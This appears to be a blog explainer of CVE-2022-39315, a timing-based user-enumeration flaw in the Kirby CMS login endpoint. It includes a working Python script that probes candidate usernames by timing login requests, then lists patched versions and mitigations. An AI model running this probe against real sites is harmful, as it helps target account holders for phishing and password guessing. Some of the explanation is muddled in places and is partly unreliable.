Kirby is a popular flat-file Content Management System (CMS) used for building websites without a database. In late 2022, a security issue was discovered—*CVE-2022-39315*—that allows attackers to enumerate user accounts on sites running vulnerable Kirby versions.
Let’s break down what this vulnerability means, how attackers exploit it, the code behind it, and how you can protect any Kirby projects you maintain.
Understanding the Bug
CVE-2022-39315 is a user enumeration vulnerability that affects *all Kirby sites with user accounts*—unless Kirby’s API and the Panel (admin area) are completely disabled in your configuration.
What does “user enumeration” mean?
It refers to the ability of an attacker to find out which usernames (or emails) exist on your site. This isn’t as severe as a remote code execution bug, but it’s a critical first step for targeted attacks, especially phishing and brute forcing passwords.
How Does the Vulnerability Work?
When using the Kirby Panel or the API, if an unauthenticated user tries to log in with a username/email that does *not* exist, Kirby's login endpoint responds faster than if the username *does* exist. This timing difference can be measured, allowing attackers to check if a specific user exists.
Why can't this be automated at scale?
- The timing difference is present but subtle, and Kirby applies brute-force protections that slow down rapid guessing.
Exploit Details: Step-by-Step
1. Send a POST request to the login endpoint with a guess for the username/email.
2. Measure time to response. If the response is noticeably slower after some attempts, it likely means the username/email exists.
3. Repeat for different usernames/emails. By scripting these requests and measuring delays, attackers can enumerate valid users.
Here’s a basic Python script using requests and time to demo the vulnerability
import requests
import time
# Change to your Kirby site's Panel login endpoint
url = 'http://example.com/panel/api/auth/login';
candidate_users = ['admin', 'john', 'mary', 'doesnotexist']
results = {}
for username in candidate_users:
data = {'email': username, 'password': 'FakePassword123'}
times = []
for _ in range(3): # average timings
start = time.time()
r = requests.post(url, json=data)
end = time.time()
times.append(end - start)
avg_time = sum(times) / len(times)
results[username] = avg_time
for username, avg_time in results.items():
print(f"User: {username} -> Avg Login Time: {avg_time:.3f} seconds")
What to look for:
A _significantly higher_ average response time usually indicates the user exists but the password is wrong. A _lower_ response time means the user does not exist.
What Was Fixed?
Kirby maintainers fixed the vulnerability by ensuring the login endpoint now includes a deliberate delay *after* the brute-force limit is reached, no matter if the username exists or not. This makes timing attacks ineffective.
Upgrade immediately to one of the patched versions
- Kirby 3.5.8.2
- Kirby 3.6.6.2
- Kirby 3.7.5.1
- Kirby 3.8.1
Restrict Panel access (when possible)
- Disable the Panel and/or API for sites that don’t need user login.
Monitor logs for repeated failed login attempts or unusual request timings.
4. Educate users to prevent phishing and credential stuffing, as knowledge of emails/usernames increases these risks.
References
- Kirby Security Advisory GHSA-7gjj-6892-jvp3
- Official Kirby Blog: Security Releases
- CVE-2022-39315 at NVD
Final Thoughts
CVE-2022-39315 is a great reminder that even subtle timing bugs can lead to real-world attacks, especially in widely used CMS software. Upgrading is the best defense. If you run Kirby, make sure your version is up to date and take extra steps to protect your Panel and API endpoints.
Timeline
Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 00:50:00 UTC